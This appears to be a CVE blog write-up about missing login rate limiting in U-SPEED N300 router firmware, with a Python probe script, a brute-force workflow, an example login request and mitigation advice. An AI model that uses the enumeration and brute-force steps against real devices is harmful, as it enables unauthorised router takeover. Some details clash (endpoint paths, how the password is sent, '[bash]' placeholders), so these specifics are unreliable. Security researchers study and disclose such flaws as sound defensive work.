Listen to this Post
How CVE-2026-36959 Works
The vulnerability exists in the U-SPEED N300 router firmware V1.0.0, specifically within the `/api/login` authentication endpoint. The core issue is the complete absence of rate limiting, account lockout, or progressive backoff mechanisms for repeated authentication failures.
Secure authentication systems typically enforce request throttling, temporary account lockout, or progressive delays after repeated failed login attempts to mitigate brute-force attacks. However, in this vulnerable firmware, the endpoint accepts an unlimited number of authentication attempts from the same client without any delay or restriction.
An attacker can exploit this by performing a high-volume automated authentication test, sending sequential login requests while monitoring for HTTP 429 (Too Many Requests) status codes. Testing confirms the endpoint accepts unlimited attempts—the provided proof-of-concept script demonstrates 100 sequential login attempts with zero HTTP 429 responses and no progressive backoff detected, as response timing remains effectively constant throughout.
The risk is compounded by a weak default password policy that only enforces a minimum length of five characters. Password validation is implemented via a `checkPassword()` function that merely verifies the supplied password length meets this minimum, with no additional complexity requirements such as uppercase, lowercase, numeric, or special character checks.
When combined with username enumeration timing vulnerabilities (which allow valid accounts to be identified by measuring response time differences), an attacker can perform unlimited password guesses against valid usernames, significantly increasing the likelihood of credential compromise and unauthorized administrative access.
DailyCVE Form:
Platform: U-SPEED Router
Version: V1.0.0
Vulnerability: Missing Rate Limiting
Severity: High (CVSS 7.5)
date: 2026-04-29
Prediction: 2026-05-15
What Undercode Say
Analytics:
The vulnerability was discovered and reported to MITRE on April 29, 2026, with CVE-2026-36959 assigned on the same day. The CVSS v3.1 score is 7.5 (High), with the following vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. The attack vector is Network, attack complexity is Low, privileges required are None, and user interaction is None. The confidentiality impact is High, while integrity and availability impacts are None.
The CISA ADP has enriched this CVE with SSVC (Stakeholder-Specific Vulnerability Categorization) indicating exploitation is possible (PoC exists), the vulnerability is automatable, and the technical impact is partial. The vulnerability is categorized under CWE-307: Improper Restriction of Excessive Authentication Attempts.
Bash Commands & Code:
Probe for rate limiting using the provided Python script python rate-limit-probe.py Expected output showing no rate limiting: Attempt 100: status=401, latency=0.0407s [bash] No HTTP 429 responses observed. [bash] No progressive backoff detected.
Proof of Concept - Rate Limiting Probe
import requests
import time
import statistics
URL = "http://localhost/api/auth/login"
USERNAME = "admin"
PASSWORD = "wrong-password"
MAX_ATTEMPTS = 100
TIMEOUT = 10
latencies = []
statuses = []
print(f"[] Probing {URL} for rate limiting, lockout, and backoff behavior...")
start_total = time.time()
for i in range(1, MAX_ATTEMPTS + 1):
start = time.perf_counter()
resp = requests.post(
URL,
params={"username": USERNAME, "recaptcha": ""},
headers={"X-Password": PASSWORD},
timeout=TIMEOUT
)
duration = time.perf_counter() - start
latencies.append(duration)
statuses.append(resp.status_code)
if resp.status_code == 429:
print(f"[!] Rate limit detected at attempt {i} (HTTP 429)")
break
if i % 10 == 0:
print(f" Attempt {i:3}: status={resp.status_code}, latency={duration:.4f}s")
end_total = time.time()
attempts_completed = len(latencies)
print("\n CONCRETE EVIDENCE ")
first_five_avg = statistics.mean(latencies[:5]) if attempts_completed >= 5 else statistics.mean(latencies)
last_five_avg = statistics.mean(latencies[-5:]) if attempts_completed >= 5 else statistics.mean(latencies)
latency_delta = last_five_avg - first_five_avg
print(f"Attempts completed: {attempts_completed}")
print(f"Total runtime: {end_total - start_total:.2f}s")
print(f"Average request rate: {attempts_completed / (end_total - start_total):.2f} req/sec")
print(f"Unique status codes: {sorted(set(statuses))}")
print(f"Average time (first 5): {first_five_avg:.4f}s")
print(f"Average time (last 5): {last_five_avg:.4f}s")
print(f"Latency delta: {latency_delta:+.4f}s")
if 429 not in statuses:
print("[bash] No HTTP 429 responses observed.")
if abs(latency_delta) < 0.05:
print("[bash] No progressive backoff detected: response timing remained effectively constant.")
Exploit:
An attacker on the local network can perform unlimited authentication attempts against the `/api/login` endpoint. The attack workflow is:
1. Username Enumeration: Leverage timing side-channels to identify valid usernames by measuring response time differences.
2. Brute-Force Attack: Once valid usernames are identified, launch automated password guessing attacks against the `/api/login` endpoint.
3. Unlimited Attempts: The endpoint accepts unlimited requests without triggering account lockout, rate limiting (HTTP 429), or progressive backoff delays.
4. Credential Compromise: With a weak password policy (minimum 5 characters, no complexity requirements), successful password guessing leads to unauthorized administrative access.
Example Exploit Request:
POST /api/login HTTP/1.1
Host: [bash]
Content-Type: application/json
{"username": "admin", "password": "password_guess"}
No throttling or lockout is triggered after repeated failed attempts.
Protection:
To mitigate this vulnerability, the following protections should be implemented:
1. Implement Rate Limiting: Enforce request throttling on the `/api/login` endpoint to restrict the number of authentication attempts per client IP or session within a defined time window.
2. Add Account Lockout: Implement temporary account lockout after a configured number of repeated failed login attempts.
3. Implement Progressive Backoff: Introduce exponential backoff delays that increase with each successive failed attempt to slow down automated attacks.
4. Strengthen Password Policy: Enforce strong password complexity requirements including minimum length (at least 8-12 characters), uppercase, lowercase, numeric, and special character requirements.
5. Add CAPTCHA: Implement CAPTCHA challenges after a certain number of failed attempts to prevent automated brute-force attacks.
6. Deploy Multi-Factor Authentication: Require MFA for administrative access to add an additional layer of security.
Impact:
- Unauthorized Administrative Access: Attackers can gain full administrative control over the router.
- Full Router Configuration Takeover: Complete compromise of router settings, including network configuration, firewall rules, and DNS settings.
- Network Compromise: Once the router is compromised, attackers can intercept, redirect, or manipulate network traffic, potentially compromising all devices on the network.
- Credential Disclosure: Valid user credentials can be exposed through successful brute-force attacks.
- Lateral Movement: Compromised router access can serve as a pivot point for further attacks on internal network resources.
- CVSS Score: 7.5 (High): Reflecting the network attack vector, low complexity, and high confidentiality impact.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

